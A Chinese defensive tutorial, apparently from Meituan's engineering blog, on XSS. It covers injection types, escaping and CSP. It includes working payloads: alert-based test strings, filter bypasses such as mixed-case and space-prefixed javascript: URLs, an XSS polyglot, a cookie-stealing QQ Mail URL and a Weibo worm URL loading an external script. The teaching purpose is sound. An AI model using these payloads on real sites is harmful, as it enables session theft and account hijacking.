随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。
近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。
本文我们会讲解 XSS ,主要包括:
在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:
如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。
XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。
某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:
">
<button>搜索button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
div>
然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:
http://xxx/search?keyword=">
小明带着一种不祥的预感点开了这个链接[请勿模仿,确认安全的链接才能点开]。果然,页面中弹出了写着”XSS”的对话框。
可恶,中招了!小明眉头一皱,发现了其中的奥秘:
当浏览器请求 http://xxx/search?keyword=">
时,服务端会解析出请求参数 keyword
,得到 ">
,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');script>">
<button>搜索button>
<div>
您搜索的关键词是:"><script>alert('XSS');script>
div>
浏览器无法分辨出 是恶意代码,因而将其执行。
这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。
面对这种情况,我们应该如何进行防范呢?
其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。
聪明的小明很快找到解决方法,把这个漏洞修复:
">
<button>搜索button>
<div>
您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
div>
escapeHTML()
按照如下规则进行转义:
|字符|转义后的字符| |-|-| |&
|&
| |<
|<
| |>
|>
| |"
|"
| |'
|'
| |/
|/
|
经过了转义函数的处理后,最终浏览器接收到的响应为:
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索button>
<div>
您搜索的关键词是:"><script>alert('XSS');</script>
div>
恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。
通过这个事件,小明学习到了如下知识:
自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。
但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。
不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')
。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。
小明打开对应页面的源码,发现有以下内容:
">跳转...a>
这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS')
,服务端响应就成了:
<a href="javascript:alert('XSS')">跳转...a>
虽然代码不会立即执行,但一旦用户点击 a
标签时,浏览器会就会弹出“XSS”。
可恶,又失策了…
在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。
原来不仅仅是特殊字符,连 javascript:
这样的字符串如果出现在特定的位置也会引发 XSS 攻击。
小明眉头一皱,想到了解决办法:
// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
<a href="<%= escapeHTML(getParameter("redirect_to"))%>">
跳转...
</a>
} else {
<a href="/404">
跳转...
</a>
}
只要 URL 的开头不是 javascript:
,就安全了吧?
安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
这也能执行?……好吧,浏览器就是这么强大。
小明欲哭无泪,在判断 URL 开头是否为 javascript:
时,先把用户输入转成了小写,然后再进行比对。
不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS')
经过 URL 解析后变成 javascript:alert('XSS')
,这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。
最终,小明选择了白名单的方法,彻底解决了这个漏洞:
// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];
valid = isValid(getParameter("redirect_to"), allowSchemes);
if (valid) {
<a href="<%= escapeHTML(getParameter("redirect_to"))%>">
跳转...
</a>
} else {
<a href="/404">
跳转...
</a>
}
通过这个事件,小明学习到了如下知识:
或 location.href="xxx"
,要检验其内容,禁止以 javascript:
开头的链接,和其他非法的 scheme。
某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:
<script>
var initData = <%= data.toJSON() %>
script>
插入 JSON 的地方不能使用 escapeHTML()
,因为转义 "
后,JSON 格式会被破坏。
但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:
U+2028
或 U+2029
这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个
标签等方法就可以完成注入。于是我们又要实现一个 escapeEmbedJSON()
函数,对内联 JSON 进行转义。
转义规则如下:
|字符|转义后的字符| |-|-| |U+2028
|\u2028
| |U+2029
|\u2029
| |<
|\u003c
|
修复后的代码如下:
<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>
通过这个事件,小明学习到了如下知识:
小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:
javascript:
等可执行代码。background-image:url("javascript:...");
的代码(新版本浏览器已经可以防范)。expression(...)
的 CSS 表达式代码(新版本浏览器已经可以防范)。总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。
通过上述几个例子,我们已经对 XSS 有了一些认识。
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。
XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。
而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。
在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。
这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?
不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:
根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。
|类型|存储区*|插入点*| |-|-| |存储型 XSS|后端数据库|HTML| |反射型 XSS|URL|HTML| |DOM 型 XSS|后端数据库/前端存储/URL|前端 JavaScript|
存储型 XSS 的攻击步骤:
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
反射型 XSS 的攻击步骤:
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
DOM 型 XSS 的攻击步骤:
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
通过前面的介绍可以得知,XSS 攻击有两大要素:
针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?
在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?
答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?
我们举一个例子,一个正常的用户输入了 5 < 7
这个内容,在写入数据库前,被转义,变成了 5 < 7
。
问题是:在提交阶段,我们并不确定内容要输出到哪里。
这里的“并不确定内容要输出到哪里”有两层含义:
用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML()
,客户端显示的内容就变成了乱码( 5 < 7
)。
在前端中,不同的位置所需的编码也不同。
5 < 7
作为 HTML 拼接页面时,可以正常显示:<div title="comment">5 < 7div>
5 < 7
通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。
当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。
既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:
存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。
预防这两种漏洞,有两种常见做法:
纯前端渲染的过程:
在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText
),还是属性(.setAttribute
),还是样式(.style
)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload
事件和 href
中的 javascript:xxx
等,请参考下文”预防 DOM 型 XSS 攻击“部分)。
在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。
如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' /
这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:
|XSS 安全漏洞|简单转义是否有防护作用| |-|-| |HTML 标签文字内容|有| |HTML 属性值|有| |CSS 内联样式|无| |内联 JavaScript|无| |内联 JSON|无| |跳转链接|无|
所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。
例如 Java 工程里,常用的转义库为 org.owasp.encoder
。以下代码引用自 org.owasp.encoder 的官方说明。
<div><%= Encode.forHtml(UNTRUSTED) %>div>
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
<script>
var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
alert(msg);
script>
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
script>
<button
onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
click me
button>
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
<a href='<%=
urlValidator.isValid(UNTRUSTED) ?
Encode.forHtml(UNTRUSTED) :
"/404"
%>'>
link
a>
可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML
、.outerHTML
、document.write()
时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent
、.setAttribute()
等。
如果用 Vue/React 技术栈,并且不使用 v-html
/dangerouslySetInnerHTML
功能,就在前端 render 阶段避免 innerHTML
、outerHTML
的 XSS 隐患。
DOM 中的内联事件监听器,如 location
、onclick
、onerror
、onload
、onmouseover
等, 标签的
href
属性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)
<a href="UNTRUSTED">1a>
<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 调用恶意代码
location.href = 'UNTRUSTED'
// eval() 中调用恶意代码
eval("UNTRUSTED")
script>
如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。
虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。
严格的 CSP 在 XSS 的防范中可以起到以下的作用:
关于 CSP 的详情,请关注前端安全系列后续的文章。
对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。
上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?
经过一番搜索,小明找到了两个方法:
在Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e
它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()
、setTimeout()
、setInterval()
、Function()
、innerHTML
、document.write()
等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。
小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
我们回到最开始提出的问题,相信同学们已经有了答案:
不正确。因为: * 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。 * 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
不正确。 不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。 业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。
整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。
虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:
<%= data %>
而不是 <%- data %>
; 在 doT.js 中,尽量使用 {{! data }
而不是 {{= data }
; 在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
。onLoad="onload('{{data}}')"
、onClick="go('{{action}}')"
这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener()
事件绑定会更安全。createElement
、setAttribute
之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb
这个 URL 的参数 uin
、domain
未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL,并引导用户去点击: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;script><script>alert(document.cookie)script>"+"...
浏览器接收到响应后就会执行 alert(document.cookie)
,攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。
攻击者发现 http://weibo.com/pub/star/g/xyyyd
这个 URL 的内容未经过滤直接输出到 HTML 中。
于是攻击者构建出一个 URL,然后诱导用户去点击:
http://weibo.com/pub/star/g/xyyyd">
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js>script>">按分类检索a>li>
浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js
,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。
上文我们说到:
通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。
这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。
2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping。
所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。
在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title}}title>
head>
<body>
<a href="{{.url}}">{{.content}}a>
body>
html>
模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title | htmlescaper}}title>
head>
<body>
<a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}a>
body>
html>
目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:
以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。
在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。
alert(1) to win prompt(1) to win XSS game
前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请关注。